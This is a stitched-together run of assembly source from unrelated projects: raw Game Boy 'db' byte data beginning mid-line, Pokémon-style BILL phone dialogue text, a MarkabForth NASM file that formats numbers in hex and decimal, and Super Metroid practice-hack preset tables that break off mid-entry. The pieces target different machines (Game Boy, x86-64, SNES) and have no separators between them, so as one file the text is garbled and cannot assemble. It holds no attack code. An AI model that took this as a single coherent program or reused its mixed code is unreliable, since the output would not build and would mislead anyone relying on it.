$A8, $20 db $F5, $CD, $A2, $35, $A7, $C9, $37, $C9 db $21, $00, $A5, $7E, $FE, $FF, $20, $F1 db $24, $7C, $FE, $A8, $20, $F5, $18, $EE db $F0, $A5, $E6, $80, $20, $02, $A7, $C9 db $62, $1E, $4D, $1A, $FE, $02, $20, $37 db $F0, $AF, $3C, $5F, $17, $9F, $57, $F0 db $B1, $4F, $17, $9F, $47, $CD, $D9, $1A db $CD, $4E, $18, $30, $06, $F0, $9E, $FE db $02, $20, $19, $F0, $B3, $6F, $17, $9F db $67, $09, $44, $4D, $CD, $4E, $18, $30 db $06, $F0, $9E, $FE, $02, $20, $05, $F0 db $9A, $57, $37, $C9, $F0, $9A, $57, $A7 db $C9, $F0, $A5, $E6, $40, $20, $02, $A7 db $C9, $62, $2E, $04, $4E, $2C, $46, $2E db $07, $5E, $2C, $56, $CD, $46, $16, $FE db $10, $28, $16, $FE, $90, $28, $12, $FE db $18, $28, $05, $A7, $F0, $9A, $57, $C9 db $FA, $60, $DB, $CD, $11, $16, $B7, $20 db $F2, $FA, $4D, $CD, $B7, $20, $EC, $CD db $67, $10, $37, $F0, $9A, $57, $C9, $F0 db $A6, $E6, $04, $20, $02, $A7, $C9, $1E db $28, $21, $99, $42, $3E, $1E, $CD, $CF db $05, $F0, $9A, $57, $37, $C9, $1E, $45 db $1A, $17, $F0, $A5, $06, $10, $38, $02 db $06, $20, $A0, $20, $02, $A7, $C9, $37 db $C9, $CD, $47, $38, $1E, $6D, $1A, $BC db $20, $02, $A7, $C9, $37, $C9, $F0, $A5 db $E6, $02, $28, $02, $A7, $C9, $37, $C9 db $FA, $70, $A0, $B7, $20, $0F, $CD, $B3 db $1A, $20, $0A, $1E, $00, $01, $40, $01 db $CD, $35, $0D, $37, $C9, $A7, $C9, $FA db $70, $A0, $B7, $20, $02, $A7, $C9, $CD db $B3, $1A, $28, $F9, $37, $C9, $FA, $70 db $A0, $B7, $20, $15, $CD, $B3, $1A, $20 db $10, $CD, $48, $3A, $CD, $5A, $3C, $1E db $00, $01, $40, $01, $CD, $35, $0D, $37 db $C9, $A7, $C9, $FA, $70, $A0, $B7, $20 db $02, $A7, $C9, $CD, $B3, $1A, $28, $F9 db $CD, $57, $3A, $CD, $5A, $3C, $37, $C9 db $F0, $A5, $E6, $41, $20, $02, $A7, $C9 db $AF, $EA, $6E, $A0, $37, $C9, $F0, $A5 db $06, $00, $E6, $F1, $28, $0C, $06, $02 db $CB, $47, $20, $06, $05, $CB, $7F, $20 db $01, $04, $1E, $6F, $1A, $B8, $20, $02 db $A7, $C9, $78, $12, $37, $C9, $1E, $0F db $1A, $91, $1C, $1A, $98, $3F, $C9, $CD db $46, $08, $3E, $08, $CD, $DD, $05, $C3 db $58, $73, $1E, $45, $1A, $EE, $80, $12 db $C9, $FA, $5B, $A0, $1E, $27, $3C, $12 db $C9, $F0, $A5, $E6, $40, $28, $04, $FA db $70, $A0, $3D, $1E, $27, $12, $C9, $CD db $26, $38, $3E, $00, $17, $1E, $27, $12 db $C9, $1E, $45, $1A, $17, $F0, $A5, $38 db $06, $CB, $67, $20, $08, $18, $04, $CB db $6F, $20, $02, $A7, $C9, $37, $C9, $CD db $47, $38, $1E, $27, $7C, $12, $1E, $6D db $12, $C9, $1E, $4D, $1A, $FE, $04, $26 db $00, $38, $11, $1E, $45, $1A, $20, $07 db $24, $17, $30, $08, $24, $18, $05, $24 db $17, $38, $01, $24, $1E, $4E, $1A, $E6 db $F0, $FE, $70, $C0, $7C, $C6, $03, $67 db $C9, $1E, $45, $1A, $17, $F0, $A5, $38 db $08, $CB, $67, $28, $16, $5C, $C3, $A2 db $0C, $CB, $6F, $28, $0E, $5C, $79, $2F db $C6, $01, $4F, $78, $2F, $CE, $00, $47 db $C3, $D3, $0C, $5D, $C3, $04, $0D, $F0 db $A5, $E6, $30, $28, $1E, $CB, $67, $1E db $45, $28, $07, $3E, $40, $12, $5C, $C3 db $A2, $0C, $3E, $C0, $12, $5C, $79, $2F db $C6, $01, $4F, $78, $2F, $CE, $00, $47 db $C3, $D3, $0C, $5D, $C3, $04, $0D, $F0 db $A5, $E6, $30, $28, $3B, $CB, $67, $1E db $45, $1A, $28, $11, $17, $38, $06, $F0 db $85, $5F, $C3, $A2, $0C, $F0, $86, $5F db $44, $4D, $C3, $A2, $0C, $17, $30, $10 db $F0, $85, $5F, $79, $2F, $C6, $01, $4F db $78, $2F, $CE, $00, $47, $C3, $D3, $0C db $F0, $86, $5F, $7D, $2F, $C6, $01, $4F db $7C, $2F, $CE, $00, $47, $C3, $D3, $0C db $1E, $45, $1A, $17, $1E, $0D, $1A, $38 db $05, $17, $30, $05, $18, $09, $17, $30 db $06, $F0, $80, $5F, $C3, $04, $0D, $F0 db $81, $5F, $C3, $04, $0D, $CD, $DF, $76 db $18, $08, $CD, $C7, $1D, $18, $03, $CD db $8B, $1D, $30, $13, $1E, $45, $1A, $47 db $1E, $0E, $1A, $A8, $17, $38, $06, $1E db $0D, $AF, $12, $1C, $12, $37, $C9, $A7 db $C9, $CD, $66, $77, $18, $03, $CD, $0A db $1C, $30, $08, $AF, $1E, $0F, $12, $1C db $12, $37, $C9, $A7, $C9, $CD, $66, $77 db $18, $03, $CD, $0A, $1C, $30, $14, $F0 db $9E, $FE, $01, $28, $06, $1E, $0D, $AF db $12, $1C, $12, $AF, $1E, $0F, $12, $1C db $12, $37, $C9, $A7, $C9, $CD, $DD, $77 db $18, $03, $CD, $88, $1C, $30, $0F, $F0 db $9F, $FE, $31, $CC, $63, $3C, $1E, $0F db $AF, $12, $1C, $12, $37, $C9, $A7, $C9 db $CD, $DD, $77, $18, $03, $CD, $88, $1C db $30, $23, $F0, $9F, $FE, $31, $CC, $63 db $3C, $62, $2E, $10, $3A, $17, $38, $0D db $2A, $D6, $B3, $7E, $DE, $00, $38, $05 db $1E, $52, $3E, $02, $12, $1E, $0F, $AF db $12, $1C, $12, $37, $C9, $A7, $C9, $CD db $66, $77, $18, $03, $CD, $0A, $1C, $30 db $28, $62, $2E, $10, $3A, $17, $30, $0D db $2A, $D6, $40, $7E, $DE, $FF, $30, $05 db $3E, $01, $1E, $52, $12, $F0, $9E, $FE db $01, $28, $06, $1E, $0D, $AF, $12, $1C db $12, $AF, $1E, $0F, $12, $1C, $12, $37 db $C9, $A7, $C9, $FA, $58, $A0, $CB, $7F db $26, $00, $20, $09, $24, $FA, $59, $A0 db $FE, $02, $38, $01, $24, $1E, $27, $7C db $12, $C9, $FA, $58, $A0, $EA, $5B, $A0 db $FA, $5A, $A0, $EA, $5C, $A0, $AF, $EA db $74, $A0, $C9, $1E, $56, $1A, $FE, $02 db $30, $01, $AF, $1E, $27, $12, $C9, $FA db $70, $A0, $B7, $20, $1C, $CD, $B3, $1A db $20, $17, $1E, $00, $01, $40, $01, $CD db $35, $0D, $CD, $09, $28, $38, $02, $37 db $C9, $3E, $01, $EA, $70, $A0, $CD, $5A db $3C, $A7, $C9, $3E, $0C, $EA, $6E, $A0 db $AF, $EA, $6F, $A0, $3E, $01, $EA, $70 db $A0, $C9, $AF, $EA, $70, $A0, $C9, $10 db $52, $11, $6A, $3A, $0F, $52, $00, $24 db $05, $0D, $77, $0F, $00, $0C, $C5, $FA db $71, $A0, $21, $87, $3A, $85, $6F, $30 db $01, $24, $7E, $4F, $17, $9F, $47, $62 db $2E, $07, $7E, $81, $22, $7E, $88, $77 db $C1, $C9, $00, $FC, $FE, $FA, $FA, $71 db $A0, $B7, $21, $4C, $A0, $28, $09, $78 db $CB, $3F, $CE, $00, $47, $21, $72, $A0 db $7E, $90, $77, $30, $02, $AF, $77, $3E db $01, $EA, $54, $A0, $C9, $EA, $62, $A0 db $2A, $EA, $5D, $A0, $1E, $45, $1A, $17 db $2A, $30, $02, $2F, $3C, $4F, $17, $9F db $47, $1E, $04, $1A, $1C, $81, $EA, $5E db $A0, $1A, $88, $EA, $5F, $A0, $2A, $4F db $17, $9F, $47, $1E, $07, $1A, $1C, $81 db $EA, $60, $A0, $1A, $88, $EA, $61, $A0 db $2A, $E0, $A2, $7E, $E0, $A3, $C9, $FA db $5B, $A0, $18, $02, $3E, $FF, $EA, $15 db $DF, $FA, $5D, $A0, $3C, $20, $02, $A7 db $C9, $AF, $EA, $0B, $DF, $21, $A3, $FF db $1E, $60, $1A, $96, $4F, $1C, $1A, $DE db $00, $47, $79, $E6, $F0, $4F, $C5, $1D db $1A, $86, $91, $CB, $37, $E6, $0F, $3C db $EA, $0E, $DF, $2D, $1E, $5E, $1A, $96 db $EA, $0F, $DF, $4F, $1C, $1A, $DE, $00 db $EA, $10, $DF, $47, $79, $E6, $F0, $4F db $1D, $1A, $86, $91, $CB, $37, $E6, $0F db $3C, $EA, $0C, $DF, $EA, $0D, $DF, $D1 db $18, $1C, $21, $0F, $DF, $2A, $4F, $46 db $FA, $0C, $DF, $EA, $0D, $DF, $7B, $C6 db $10, $5F, $30, $01, $14, $18, $07, $79 db $C6, $10, $4F, $30, $01, $04, $CD, $8F db $3B, $30, $05, $3E, $01, $EA, $0B, $DF db $FA, $0D, $DF, $3D, $EA, $0D, $DF, $20 db $E6, $FA, $0E, $DF, $3D, $EA, $0E, $DF db $20, $C8, $FA, $0B, $DF, $B7, $20, $05 db $F0, $9A, $57, $A7, $C9, $F0, $9A, $57 db $CD, $71, $28, $1E, $0F, $CD, $7A, $0F db $37, $C9, $CD, $46, $16, $EA, $13, $DF db $67, $E6, $07, $FE, $01, $20, $56, $7C db $FE, $21, $28, $2C, $FE, $29, $20, $08 db $FA, $15, $DF, $3C, $28, $47, $18, $20 db $FE, $41, $38, $41, $FE, $79, $30, $3D db $1F, $1F, $1F, $E6, $1F, $D6, $08, $E5 db $21, $F4, $3B, $85, $6F, $30, $01, $24 db $66, $FA, $15, $DF, $BC, $E1, $20, $25 db $C5, $D5, $7D, $E0, $80, $CD, $02, $3C db $F0, $80, $3C, $CD, $A8, $15, $FA, $13 db $DF, $FE, $71, $1E, $19, $20, $02, $1E db $53, $21, $99, $42, $3E, $1E, $CD, $CF db $05, $D1, $C1, $37, $C9, $A7, $C9, $06 db $01, $02, $03, $04, $05, $00, $CD, $09 db $3C, $C8, $36, $10, $C9, $CD, $0E, $3C db $C8, $36, $05, $C9, $21, $B2, $A8, $18 db $03, $21, $A5, $A2, $C5, $D5, $7B, $E6 db $F0, $F6, $08, $5F, $79, $E6, $F0, $F6 db $08, $4F, $3E, $01, $CD, $C4, $07, $7C db $B7, $2E, $51, $D1, $C1, $C9, $62, $2E db $45, $7E, $17, $30, $0A, $79, $2F, $C6 db $01, $4F, $78, $2F, $CE, $00, $47, $2E db $0D, $71, $2C, $70, $C9, $FA, $5B, $A0 db $3C, $EA, $E0, $DE, $21, $DE, $DE, $CB db $DE, $C9, $0A, $03, $EA, $E0, $DE, $21 db $DE, $DE, $CB, $DE, $C9, $01, $60, $3C db $C3, $92, $0F, $07, $00, $00, $06, $08 db $21, $56, $CD, $2A, $B7, $28, $06, $2C db $2C, $05, $20, $F7, $C9, $2D, $36, $20 db $2C, $F0, $9C, $4F, $22, $F0, $9D, $47 db $77, $0A, $3C, $02, $E0, $84, $59, $CB db $31, $CD, $B0, $15, $21, $12, $DF, $34 db $F0, $9A, $57, $A7, $C9, $CD, $F8, $2A db $AF, $21, $37, $DF, $22, $77, $1E, $61 db $21, $99, $42, $3E, $1E, $CD, $CF, $05 db $3E, $18, $CD, $DD, $05, $21, $11, $6B db $11, $00, $90, $CD, $08, $07, $3E, $18 db $CD, $DD, $05, $21, $9F, $64, $11, $00 db $80, $CD, $08, $07, $21, $30, $DD, $7B db $22, $72, $7B, $D6, $00, $5F, $7A, $DE db $80, $57, $7B, $06, $04, $CB, $3A, $1F db $05, $20, $FA, $EA, $34, $DF, $3E, $18 db $CD, $DD, $05, $21, $6B, $6D, $11, $00 db $98, $CD, $08, $07, $21, $60, $99, $11 db $00, $9C, $01, $E0, $00, $CD, $21, $06 db $21, $35, $DF, $3E, $32, $22, $3E, $62 db $22, $AF, $77, $21, $1B, $5B, $3E, $07 db $CD, $CF, $05, $CD, $6D, $04, $1E, $1D db $21, $11, $60, $3E, $1E, $CD, $CF, $05 db $3E, $08, $CD, $DD, $05, $CD, $00, $40 db $3E, $8B, $26, $A0, $2E, $B3, $06, $00 db $48, $51, $5A, $CD, $C4, $07, $11, $04 db $0C, $21, $46, $42, $3E, $1A, $CD, $CF db $05, $CD, $96, $04, $CD, $6B, $08, $CD db $AE, $04, $CD, $43, $03, $FA, $2D, $DD db $A7, $20, $06, $FA, $46, $DA, $A7, $20 db $E8, $11, $04, $0C, $21, $7B, $42, $3E db $1A, $CD, $CF, $05, $CD, $37, $04, $21 db $DA, $5A, $3E, $07, $CD, $CF, $05, $C9 db $21, $35, $DF, $2A, $4F, $7E, $67, $69 db $1E, $43, $2A, $12, $2A, $EA, $2F, $DD db $EA, $39, $DF, $F0, $A4, $E5, $F5, $D5 db $3E, $07, $CD, $DD, $05, $FA, $39, $DF db $6F, $26, $00, $54, $5D, $29, $19, $29 db $11, $29, $56, $19, $D1, $1E, $18, $2A db $12, $1D, $2A, $12, $1D, $7E, $12, $1E db $46, $FA, $34, $DF, $12, $F1, $CD, $DD db $05, $E1, $01, $35, $DF, $7D, $02, $03 db $7C, $02, $21, $1C, $5A, $3E, $07, $CD db $CF, $05, $C9, $21, $35, $DF, $2A, $4F db $7E, $67, $69, $2A, $E6, $07, $CB, $37 db $17, $01, $00, $9C, $81, $4F, $30, $01 db $04, $2A, $81, $4F, $30, $01, $04, $F0 db $92, $5F, $16, $C4, $2A, $F5, $CB, $47 db $20, $04, $3E, $07, $18, $03, $3E, $0B db $0D, $E0, $4B, $79, $12, $1C, $78, $12 db $1C, $F1, $12, $1C, $47, $2A, $12, $1C db $05, $20, $FA, $7B, $E0, $92, $01, $35 db $DF, $7D, $02, $03, $7C, $02, $C9, $0C db $21, $46, $42, $3E, $1A, $CD, $F9, $05 db $CD, $C0, $04, $CD, $15, $09, $CD, $D8 db $04, $CD, $43, $03, $FA, $2C, $DD, $A7 db $20, $06, $FA, $46, $DA, $A7, $20, $E8 db $11, $04, $0C, $21, $7B, $42, $3E, $1A db $CD, $F9, $05, $CD, $61, $04, $21, $EB db $5A, $3E, $07, $CD, $F9, $05, $C9, $21 db $34, $DF, $2A, $4F, $7E, $67, $69, $1E db $43, $2A, $12, $2A, $EA, $2E, $DD, $EA db $38, $DF, $F0, $A4, $E5, $F5, $D5, $3E db $07, $CD, $07, $06, $FA, $38, $DF, $6F db $26, $00, $54, $5D, $29, $19, $29, $11 db $3A, $56, $19, $D1, $1E, $18, $2A, $12 db $1D, $2A, $12, $1D, $7E, $12, $1E, $46 db $FA, $33, $DF, $12, $F1, $CD, $07, $06 db $E1, $01, $34, $DF, $7D, $02, $03, $7C db $02, $21, $2D, $5A, $3E, $07, $CD, $F9 db $05, $C9, $21, $34, $DF, $2A, $4F, $7E db $67, $69, $2A, $E6, $07, $CB, $37, $17 db $01, $00, $9C, $81, $4F, $30, $01, $04 db $2A, $81, $4F, $30, $01, $04, $F0, $92 db $5F, $16, $C4, $2A, $F5, $CB, $47, $20 db $04, $3E, $07, $18, $03, $3E, $0B, $0D db $E0, $4B, $79, $12, $1C, $78, $12, $1C db $F1, $12, $1C, $47, $2A, $12, $1C, $05 db $20, $FA, $7B, $E0, $92, $01, $34, $DF db $7D, $02, $03, $7C, $02, $C9, $00, $00 db $00, $00, $00, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FA, $08, $20, $09, $59 db $09, $6C, $09, $88, $09, $0A, $09, $97 db $09, $0C, $0A, $18, $0A, $41, $0A, $56 db $0A, $6F, $0A, $B4, $0A, $E3, $0A, $1F db $0B, $37, $09, $40, $09, $BA, $09, $CE db $09, $E2, $09, $F7, $09, $14, $09, $F1 db $08, $7C, $09, $24, $0A, $28, $09, $4A db $09, $A0, $09, $86, $0A, $C4, $0A, $3E db $0B, $EF, $0A, $74, $0B, $84, $0B, $55 db $09, $68, $09, $01, $0B, $07, $0B, $0D db $0B, $13, $0B, $19, $0B, $31, $0A, $39 db $0A, $00, $3B, $00, $AA, $01, $12, $01 db $75, $01, $D3, $02, $2B, $02, $7E, $02 db $CD, $03, $17, $03, $5D, $03, $A0, $03 db $DE, $04, $19, $04, $51, $04, $86, $04 db $B8, $04, $E7, $05, $13, $05, $3D, $05 db $64, $05, $8A, $05, $AD, $05, $CE, $05 db $EE, $06, $0B, $06, $27, $06, $42, $06 db $5B, $06, $72, $06, $89, $06, $9E, $06 db $B2, $06, $C4, $06, $D6, $06, $E7, $06 db $F6, $07, $05, $07, $13, $07, $21, $07 db $2D, $07, $39, $07, $44, $07, $4E, $07 db $58, $07, $62, $07, $6B, $07, $73, $07 db $7B, $07, $82, $07, $89, $07, $90, $07 db $96, $07, $9C, $07, $A2, $07, $A7, $07 db $AC, $07, $B1, $07, $B5, $07, $B9, $07 db $BD, $07, $C1, $07, $C4, $07, $C8, $07 db $CB, $07, $CE, $07, $D1, $07, $D3, $07 db $D6, $07, $D8, $07, $DA, $07, $DC, $07 db $DE, $FF, $FF, $FF, $FF, $FF, $FF, $7F db $FF, $FF, $FF, $FF, $FF, $DF, $FF, $FD db $FF, $FF, $FB, $FF, $BF, $FF, $FF, $FF db $FF, $FF, $00
BillPhoneMornGreetingText: text "Good morning!" para "This is the #-" line "MON STORAGE SYSTEM" para "ADMINISTRATION" line "SERVICE." done BillPhoneDayGreetingText: text "Good day!" para "This is the #-" line "MON STORAGE SYSTEM" para "ADMINISTRATION" line "SERVICE." done BillPhoneNiteGreetingText: text "Good evening!" para "This is the #-" line "MON STORAGE SYSTEM" para "ADMINISTRATION" line "SERVICE." done BillPhoneGenericText: text "Who's calling?" para "<PLAY_G>, is it?" line "Hang on a sec…" para "<……>" line "<……>" done BillPhoneNotFullText: text "Thanks for" line "waiting!" para "<PLAY_G>, your BOX" line "has room for @" text_ram wStringBuffer3 text_start cont "more #MON." para "Get out there and" line "fill it up!" done BillPhoneNearlyFullText: text "Thanks for" line "waiting!" para "<PLAY_G>, your BOX" line "has room for only" cont "@" text_ram wStringBuffer3 text " more #MON." para "Maybe you should" line "switch your BOX." done BillPhoneFullText: text "Thanks for" line "waiting!" para "<PLAY_G>, your BOX" line "is full!" para "You'll have to" line "switch BOXES if" para "you want to catch" line "more #MON." done BillPhoneNewlyFullText: text "Hi, <PLAY_G>?" line "It's me, BILL!" para "Thanks for using" line "my STORAGE SYSTEM." para "That last #MON" line "you sent filled" cont "your BOX up." para "You'll have to" line "switch BOXES if" para "you want to catch" line "more #MON." para "Bye now!" done
; Copyright (c) 2022 Sam Blenny ; SPDX-License-Identifier: MIT ; ; MarkabForth number words (meant to be included in ../libmarkab.nasm) ; This include path is relative to the working directory that will be in effect ; when running the Makefile in the parent directory of this file. So the ; include path is relative to ../Makefile, which is confusing. %include "libmarkab/common_macros.nasm" extern mDrop extern Mem extern mErr1Underflow extern mErr25BaseOutOfRange extern mErr26FormatInsert extern mErr27BadFormatIndex extern mErr5NumberFormat extern mStrPut.RdiRsi global mHex global mDecimal global mDot global mDot.W global mFmtRtlClear global mFmtRtlInt32 global mFmtRtlSpace global mFmtRtlPut mHex: ; Set number base to 16 mov word [Mem+Base], word 16 ret mDecimal: ; Set number base to 10 mov word [Mem+Base], word 10 ret mDot: ; Print T using number base movq rdi, DSDeep ; need at least 1 item on stack cmp dil, 1 jb mErr1Underflow mov W, T push WQ call mDrop pop WQ .W: ; Print W using number base call mFmtRtlClear ; Clear the buffer mov rdi, WQ call mFmtRtlInt32 ; format W call mFmtRtlSpace ; add a space jmp mFmtRtlPut ; print number formatting buffer mFmtRtlClear: ; Clear number formatting buffer mov word [Mem+FmtLI], FmtEnd ; leftmost available byte = rightmost byte ret mFmtRtlSpace: ; Insert (rtl) a space into the Fmt buffer xor rdi, rdi mov dil, ' ' jmp mFmtRtlInsert mFmtRtlMinus: ; Insert (rtl) a '-' into the Fmt buffer xor rdi, rdi mov dil, '-' jmp mFmtRtlInsert mFmtRtlInsert: ; Insert (rtl) byte from rdi into Fmt buffer movzx esi, word [Mem+FmtLI] ; load index of leftmost available byte cmp esi, Fmt ; stop if buffer is full jb mErr26FormatInsert mov byte [Mem+rsi], dil ; store whatever was in low byte of rdi dec esi ; dec esi to get next available byte mov word [Mem+FmtLI], si ; store the new leftmost byte index ret mFmtRtlPut: ; Print the contents of Fmt movzx ecx, word [Mem+FmtLI] ; index to leftmost available byte of Fmt inc ecx ; convert from available byte to filled byte cmp ecx, Fmt ; check that index is within Fmt buffer bounds jb mErr27BadFormatIndex cmp ecx, FmtEnd ja mErr27BadFormatIndex lea rdi, [Mem+ecx] ; edi: pointer to left end of format string mov esi, FmtEnd+1 ; esi: count of bytes in format string sub esi, ecx jmp mStrPut.RdiRsi ; mStrPut.RdiRsi(rdi: *buf, rsi: count) ; Format edi (int32), right aligned in Fmt, according to current number base. ; ; This formats a number from edi into Fmt, using an algorithm that puts ; digits into the buffer moving from right to left. The idea is to match the ; order of divisions, which necessarily produces digits in least-significant to ; most-significant order. This is intended for building a string from several ; numbers in a row (like with .S). ; ; My intent with keeping this mechanism entirely separate from the stack was to ; have a debugging capability that still works if the stack is full. Probably ; there is a better way to handle this. The current approach feels too complex ; and is a big hassle to maintain. ; ; TODO: maybe port this from assembly to Forth code that loads at runtime? ; mFmtRtlInt32: ; Format edi (int32) using current number Base push rbp mov dword [Mem+FmtQuo], edi ; Save edi as initial Quotient because the digit ;... ; divider takes its dividend from the previous ;... ; digit's quotient (stored in [FmtQuo]) call mFmtFixupQuoSign ; Prepare for decimal i32 (signed) or hex u32 ;... ; (unsigned) depending on current [Base] mov ebp, 11 ; ebp: loop limit (11 digits is enough for i32) ;----------------------------- .forDigits: call mFmtDivideDigit ; Divide out the least significant digit test VMFlags, VMErr ; stop if there was an error jnz .doneErr call mFmtRemToASCII ; Format devision remainder (digit) into Fmt buf test VMFlags, VMErr ; stop if there was an error jnz .doneErr dec ebp ; stop if loop has been running too long jz .doneErrOverflow mov W, dword [Mem+FmtQuo] test W, W ; loop unil quotient is zero (normal exit path) jnz .forDigits ;----------------------------- .done: ; Normal exit pop rbp mov al, byte [Mem+FmtSgn] ; load sign flag for the number being formatted test al, al ; check if sign is negative setnz cl movzx eax, word [Mem+Base] ; check if base is decimal cmp ax, 10 sete dl test cl, dl jnz mFmtRtlMinus ; negative and base 10 means add a '-' ret ;----------------------------- .doneErr: ; This exit path is unlikely unles there's a bug pop rbp ret ;----------------------------- .doneErrOverflow: ; This exit path is also unlikely, unless a bug pop rbp jmp mErr5NumberFormat mFmtFixupQuoSign: ; Fixup state vars for decimal i32 or hex u32 mov edi, dword [Mem+FmtQuo] ; load initial quotent (number to be formatted) test edi, edi ; check if sign is negative sets cl movzx eax, word [Mem+Base] ; check if base is decimal cmp ax, 10 sete dl test cl, dl ; if negative and decimal, prepare for i32 jnz .prepForNegativeI32 ;------------------- .prepForU32: ; Do this for positive decimal or any hex mov byte [Mem+FmtSgn], 0 ; sign is positive, do not take absolute value ret ;------------------- .prepForNegativeI32: ; Do this for negative decimal mov byte [Mem+FmtSgn], -1 ; save negative sign in [FmtSign] neg edi ; take absolute value of the initial quotient mov dword [Mem+FmtQuo], edi ret mFmtDivideDigit: ; Do the division to format one digit of an i32 mov eax, dword [Mem+FmtQuo] ; idiv dividend (old quotient) goes in [rdx:rax] xor edx, edx ; (we're using i32, not i64, so zero rdx) movzx ecx, word [Mem+Base] ; idiv divisor (number base) goes in rcx xor edi, edi mov dil, 2 ; limit Base to range 2..16 to avoid idiv trouble cmp ecx, edi jl mErr25BaseOutOfRange mov dil, 16 cmp ecx, edi jg mErr25BaseOutOfRange ;------- idiv rcx ; idiv: {[rdx:rax]: dividend, operand: divisor} ;------- result {rax: quotient, rdx: remainder} mov dword [Mem+FmtQuo], eax ; idiv puts quotient in rax mov dword [Mem+FmtRem], edx ; idiv puts remainder in rdx ret mFmtRemToASCII: ; Format division remainder as ASCII digit mov edi, dword [Mem+FmtRem] ; remainder should be in range 0..([Base]-1) movzx rcx, dil ; prepare digit as n-10+'A' (in case n in 10..15) add cl, ('A'-10) add dil, '0' ; prepare digit as n+'0' (in case n in 0..9) cmp dil, '9' ; rdx = pick the right digit (hex or decimal) cmova rdi, rcx jmp mFmtRtlInsert ; insert low byte of rdi into Fmt buffer
preset_kpdr25_bombs_ceres_elevator: dw #$0000 dw $078D, $AB58 ; DDB dw $079B, $DF45 ; MDB dw $07F3, $002D ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $093F, $0000 ; Ceres escape flag dw $09A2, $0000 ; Equipped Items dw $09A4, $0000 ; Collected Items dw $09A6, $0000 ; Beams dw $09A8, $0000 ; Beams dw $09C0, $0000 ; Manual/Auto reserve tank dw $09C2, $0063 ; Health dw $09C4, $0063 ; Max health dw $09C6, $0000 ; Missiles dw $09C8, $0000 ; Max missiles dw $09CA, $0000 ; Supers dw $09CC, $0000 ; Max supers dw $09CE, $0000 ; Pbs dw $09D0, $0000 ; Max pbs dw $09D2, $0000 ; Currently selected item dw $09D4, $0000 ; Max reserves dw $09D6, $0000 ; Reserves dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0A68, $0000 ; Flash suit dw $0A76, $0000 ; Hyper beam dw $0AF6, $0080 ; Samus X dw $0AF8, $0000 ; Samus subpixel X dw $0AFA, $0048 ; Samus Y dw $0AFC, $0000 ; Samus subpixel Y dw $0B3F, $0000 ; Blue suit dw $D820, $0000 ; Events dw $D822, $0000 ; Events dw $D828, $0000 ; Bosses dw $D82A, $0000 ; Bosses dw $D82C, $0000 ; Bosses dw $D82E, $0000 ; Bosses dw $D870, $0000 ; Items dw $D872, $0000 ; Items dw $D874, $0000 ; Items dw $D876, $0000 ; Items dw $D878, $0000 ; Items dw $D87A, $0000 ; Items dw $D87C, $0000 ; Items dw $D87E, $0000 ; Items dw $D880, $0000 ; Items dw $D882, $0000 ; Items dw $D8B0, $0000 ; Doors dw $D8B2, $0000 ; Doors dw $D8B4, $0000 ; Doors dw $D8B6, $0000 ; Doors dw $D8B8, $0000 ; Doors dw $D8BA, $0000 ; Doors dw $D8BC, $0000 ; Doors dw $D8BE, $0000 ; Doors dw $D8C0, $0000 ; Doors dw $D8C2, $0000 ; Doors dw $D8C4, $0000 ; Doors dw $D908, $0000 ; Map Stations dw $D90A, $0000 ; Map Stations dw $D90C, $0000 ; Map Stations dw #$FFFF preset_kpdr25_bombs_ceres_escape: dw #preset_kpdr25_bombs_ceres_elevator ; Bombs: Ceres Elevator dw $078D, $ABAC ; DDB dw $079B, $E0B5 ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0007 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0913, $9400 ; Screen subpixel Y position dw $093F, $0002 ; Ceres escape flag dw $09C2, $0018 ; Health dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0033 ; Samus X dw $0AF8, $B000 ; Samus subpixel X dw $0AFA, $008B ; Samus Y dw $0AFC, $FFFF ; Samus subpixel Y dw $D82E, $0001 ; Bosses dw #$FFFF preset_kpdr25_bombs_ceres_last_3_rooms: dw #preset_kpdr25_bombs_ceres_escape ; Bombs: Ceres Escape dw $078D, $ABA0 ; DDB dw $079B, $E021 ; MDB dw $090F, $7400 ; Screen subpixel X position dw $0913, $F000 ; Screen subpixel Y position dw $0AF6, $004E ; Samus X dw $0AFA, $00A2 ; Samus Y dw #$FFFF preset_kpdr25_bombs_ship: dw #preset_kpdr25_bombs_ceres_last_3_rooms ; Bombs: Ceres Last 3 Rooms dw $078D, $88FE ; DDB dw $079B, $91F8 ; MDB dw $07F3, $0006 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $0200 ; Layer 2 X position dw $093F, $0000 ; Ceres escape flag dw $09C2, $0063 ; Health dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0481 ; Samus X dw $0AF8, $0000 ; Samus subpixel X dw $0AFA, $0471 ; Samus Y dw $0AFC, $8000 ; Samus subpixel Y dw #$FFFF preset_kpdr25_bombs_climb_down: dw #preset_kpdr25_bombs_ship ; Bombs: Ship dw $078D, $8916 ; DDB dw $079B, $92FD ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0915, $02ED ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0231 ; Layer 2 Y position dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $01AC ; Samus X dw $0AFA, $035B ; Samus Y dw $0AFC, $FFFF ; Samus subpixel Y dw #$FFFF preset_kpdr25_bombs_morph: dw #preset_kpdr25_bombs_climb_down ; Bombs: Climb Down dw $078D, $8B9E ; DDB dw $079B, $9E9F ; MDB dw $07F5, $0007 ; Music Track dw $0911, $0500 ; Screen X position in pixels dw $0915, $0200 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0180 ; Layer 2 Y position dw $0A1C, $0025 ; Samus position/state dw 